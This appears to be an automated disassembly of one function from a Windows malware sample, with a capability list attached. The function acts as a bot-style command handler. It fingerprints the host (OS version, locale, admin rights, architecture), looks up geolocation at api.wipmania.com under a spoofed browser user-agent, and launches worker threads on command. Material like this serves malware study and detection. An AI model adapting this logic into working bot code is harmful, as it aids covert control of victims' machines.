Function at 0x404330
Capabilities:
Check os version
Create http request
Get geographical location
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3b4
mov eax, dword [0x407a78]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 1
jge 0x404356
mov eax, 1
jmp 0x404e5c
push 0x4091a4
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404393
call fcn.00403640
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
cmp dword [ebp + 0x14], 2
jge 0x4043a8
mov eax, 1
jmp 0x404e5c
push 0x40919c
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4046d2
push 0x14
push 0
lea ecx, [ebp - 0x18]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x407a7c
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40442c
push 0x14
push 0
lea edx, [ebp - 0x2c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp - 0x2c]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
lea ecx, [ebp - 0x2c]
push ecx
push 0x407a80
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x407a84
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404615
mov dword [ebp - 0xc8], 0x94
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
je 0x4045f2
cmp dword [ebp - 0xc4], 4
jne 0x4044a8
cmp dword [ebp - 0xc0], 0
jne 0x4044a8
cmp dword [ebp - 0xb8], 1
jne 0x404490
mov dword [ebp - 0xcc], 0x407a88
cmp dword [ebp - 0xb8], 2
jne 0x4044a3
mov dword [ebp - 0xcc], 0x407a8c
jmp 0x4045f0
cmp dword [ebp - 0xc4], 4
jne 0x4044c9
cmp dword [ebp - 0xc0], 0xa
jne 0x4044c9
mov dword [ebp - 0xcc], 0x407a90
jmp 0x4045f0
cmp dword [ebp - 0xc4], 4
jne 0x4044ea
cmp dword [ebp - 0xc0], 0x5a
jne 0x4044ea
mov dword [ebp - 0xcc], 0x407a94
jmp 0x4045f0
cmp dword [ebp - 0xc4], 5
jne 0x40450b
cmp dword [ebp - 0xc0], 0
jne 0x40450b
mov dword [ebp - 0xcc], 0x407a98
jmp 0x4045f0
cmp dword [ebp - 0xc4], 5
jne 0x40452c
cmp dword [ebp - 0xc0], 1
jne 0x40452c
mov dword [ebp - 0xcc], 0x407a9c
jmp 0x4045f0
cmp dword [ebp - 0xc4], 5
jne 0x40454d
cmp dword [ebp - 0xc0], 2
jne 0x40454d
mov dword [ebp - 0xcc], 0x407aa0
jmp 0x4045f0
cmp dword [ebp - 0xc4], 6
jne 0x40456e
cmp dword [ebp - 0xc0], 0
jne 0x40456e
mov dword [ebp - 0xcc], 0x407aa4
jmp 0x4045f0
cmp dword [ebp - 0xc4], 6
jne 0x40458c
cmp dword [ebp - 0xc0], 1
jne 0x40458c
mov dword [ebp - 0xcc], 0x407aa8
jmp 0x4045f0
cmp dword [ebp - 0xc4], 6
jne 0x4045aa
cmp dword [ebp - 0xc0], 2
jne 0x4045aa
mov dword [ebp - 0xcc], 0x407aac
jmp 0x4045f0
cmp dword [ebp - 0xc4], 6
jne 0x4045c8
cmp dword [ebp - 0xc0], 3
jne 0x4045c8
mov dword [ebp - 0xcc], 0x407ab0
jmp 0x4045f0
cmp dword [ebp - 0xc4], 0xa
jne 0x4045e6
cmp dword [ebp - 0xc0], 0
jne 0x4045e6
mov dword [ebp - 0xcc], 0x407ab4
jmp 0x4045f0
mov dword [ebp - 0xcc], 0x407ab8
jmp 0x4045fc
mov dword [ebp - 0xcc], 0x407abc
mov ecx, dword [ebp - 0xcc]
push ecx
push 0x407ac0
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x407ac4
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404661
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x40464f
push str.ADMIN
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x404661
push 0x407ad0
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x407ad8
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4046af
call fcn.00403790
movzx edx, al
test edx, edx
je 0x40469d
push str.X64
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x4046af
push str.X32
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
lea edx, [ebp - 0x18]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call fcn.00403f50
add esp, 0x10
mov eax, 1
jmp 0x404e5c
push 0x409198
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404717
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
push 3
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403f50
add esp, 0x10
mov eax, 1
jmp 0x404e5c
cmp dword [ebp + 0x14], 3
jge 0x40472c
mov eax, 1
jmp 0x404e5c
push str.djsf
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404d4f
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call fcn.00402f90
add esp, 4
test eax, eax
je 0x404d40
push 2
push 0x28
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004033a0
add esp, 0x10
mov dword [ebp - 0xd0], 0
push 0x407aec
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x404c23
push 0x407af0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x404c23
push 0xc8
push 0
lea eax, [ebp - 0x288]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xe4], 0x407af4
mov dword [ebp - 0xe0], 0x407af8
mov dword [ebp - 0xdc], 0x407afc
mov dword [ebp - 0xd8], 0x407b00
mov dword [ebp - 0xd4], 0x407b04
mov dword [ebp - 0x1bc], 0x407b08
mov dword [ebp - 0x1b8], 0x407b0c
mov dword [ebp - 0x1b4], 0x407b10
mov dword [ebp - 0x1b0], 0x407b14
mov dword [ebp - 0x1ac], 0x407b18
mov dword [ebp - 0x1a8], 0x407b1c
mov dword [ebp - 0x1a4], 0x407b20
mov dword [ebp - 0x1a0], 0x407b24
mov dword [ebp - 0x19c], 0x407b28
mov dword [ebp - 0x198], 0x407b2c
mov dword [ebp - 0x194], 0x407b30
mov dword [ebp - 0x190], 0x407b34
mov dword [ebp - 0x180], 0x407b38
mov dword [ebp - 0x17c], 0x407b3c
mov dword [ebp - 0x178], 0x407b40
mov dword [ebp - 0x174], 0x407b44
mov dword [ebp - 0x170], 0x407b48
mov dword [ebp - 0x16c], 0x407b4c
mov dword [ebp - 0x168], 0x407b50
mov dword [ebp - 0x164], 0x407b54
mov dword [ebp - 0x160], 0x407b58
mov dword [ebp - 0x15c], 0x407b5c
mov dword [ebp - 0x158], 0x407b60
mov dword [ebp - 0x154], 0x407b64
mov dword [ebp - 0x150], 0x407b68
mov dword [ebp - 0x14c], 0x407b6c
mov dword [ebp - 0x148], 0x407b70
mov dword [ebp - 0x144], 0x407b74
mov dword [ebp - 0x140], 0x407b78
mov dword [ebp - 0x13c], 0x407b7c
mov dword [ebp - 0x138], 0x407b80
mov dword [ebp - 0x134], 0x407b84
mov dword [ebp - 0x130], 0x407b88
mov dword [ebp - 0x12c], 0x407b8c
mov dword [ebp - 0x128], 0x407b90
mov dword [ebp - 0x124], 0x407b94
mov dword [ebp - 0x120], 0x407b98
mov dword [ebp - 0x11c], 0x407b9c
mov dword [ebp - 0x118], 0x407ba0
mov dword [ebp - 0x114], 0x407ba4
mov dword [ebp - 0x110], 0x407ba8
mov dword [ebp - 0x10c], 0x407bac
mov dword [ebp - 0x108], 0x407bb0
mov dword [ebp - 0x104], 0x407bb4
mov dword [ebp - 0x100], 0x407bb8
mov dword [ebp - 0xfc], 0x407bbc
mov dword [ebp - 0xf8], 0x407bc0
mov dword [ebp - 0xf4], 0x407bc4
mov dword [ebp - 0xf0], 0x407bc8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:22.0__Gecko_20100101_Firefox_22.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
je 0x404c16
push 0
push 0
push 0
push 0
push str.http:__api.wipmania.com_
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
je 0x404c09
lea edx, [ebp - 0x184]
push edx
push 0xc7
lea eax, [ebp - 0x288]
push eax
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x3e
lea edx, [ebp - 0x288]
push edx
call fcn.00404310
add esp, 8
add eax, 1
mov dword [ebp - 0x18c], eax
je 0x404c09
push str.atcxuu.
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404b07
mov dword [ebp - 0x28c], 0
jmp 0x404ad1
mov eax, dword [ebp - 0x28c]
add eax, 1
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x25
jae 0x404b07
mov ecx, dword [ebp - 0x28c]
mov edx, dword [ebp + ecx*4 - 0x180]
push edx
mov eax, dword [ebp - 0x18c]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404b05
mov dword [ebp - 0xd0], 1
jmp 0x404ac2
push 0x407c3c
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404b74
mov dword [ebp - 0x290], 0
jmp 0x404b3e
mov ecx, dword [ebp - 0x290]
add ecx, 1
mov dword [ebp - 0x290], ecx
cmp dword [ebp - 0x290], 5
jae 0x404b74
mov edx, dword [ebp - 0x290]
mov eax, dword [ebp + edx*4 - 0xe4]
push eax
mov ecx, dword [ebp - 0x18c]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404b72
mov dword [ebp - 0xd0], 1
jmp 0x404b2f
push 0x407c40
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404be1
mov dword [ebp - 0x294], 0
jmp 0x404bab
mov edx, dword [ebp - 0x294]
add edx, 1
mov dword [ebp - 0x294], edx
cmp dword [ebp - 0x294], 0xc
jae 0x404be1
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp + eax*4 - 0x1bc]
push ecx
mov edx, dword [ebp - 0x18c]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404bdf
mov dword [ebp - 0xd0], 1
jmp 0x404b9c
mov eax, dword [ebp - 0x18c]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404c09
mov dword [ebp - 0xd0], 1
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x1c0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x407c44
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404c68
push 0x407c48
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404c68
cmp dword [ebp - 0xd0], 1
jne 0x404d40
push 0x100
push 0
lea eax, [ebp - 0x398]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
push eax
push 0x407c4c
push 0xff
lea ecx, [ebp - 0x398]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0x407c50
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404d0b
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x3a4], eax
push 0x407c54
mov edx, dword [ebp - 0x3a4]
push edx
call sub.MSVCRT.dll_strtok
add esp, 8
push 0x409168
mov eax, dword [ebp - 0x3a4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404d0b
mov dword [ebp - 0x39c], 1
push 1
call fcn.00403b70
add esp, 4
mov dword [ebp - 0x3a0], eax
push 0
lea ecx, [ebp - 0x3a0]
push ecx
push 0x4015d0
call fcn.00403c60
add esp, 0xc
mov edx, dword [ebp - 0x3a0]
imul edx, edx, 0xc
mov dword [edx + 0x409770], eax
mov eax, 1
jmp 0x404e5c
cmp dword [ebp + 0x14], 4
jge 0x404d64
mov eax, 1
jmp 0x404e5c
push 0x4091a0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404e39
push 2
call fcn.00403bd0
add esp, 4
test eax, eax
jne 0x404e30
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call fcn.00402f90
add esp, 4
test eax, eax
je 0x404e30
push 2
push 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
lea eax, [ebp - 4]
push eax
call fcn.004033a0
add esp, 0x10
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
mov dword [ebp - 0x3b0], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
mov dword [ebp - 0x3ac], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 0xc]
mov dword [ebp - 0x3a8], eax
push 2
call fcn.00403b70
add esp, 4
mov dword [ebp - 0x3b4], eax
push 0
lea ecx, [ebp - 0x3b4]
push ecx
push 0x403d10
call fcn.00403c60
add esp, 0xc
mov edx, dword [ebp - 0x3b4]
imul edx, edx, 0xc
mov dword [edx + 0x409770], eax
mov eax, 1
jmp 0x404e5c
cmp dword [ebp + 0x14], 5
jge 0x404e48
mov eax, 1
jmp 0x404e5c
cmp dword [ebp + 0x14], 6
jge 0x404e57
mov eax, 1
jmp 0x404e5c
mov eax, 1
mov esp, ebp
pop ebp
ret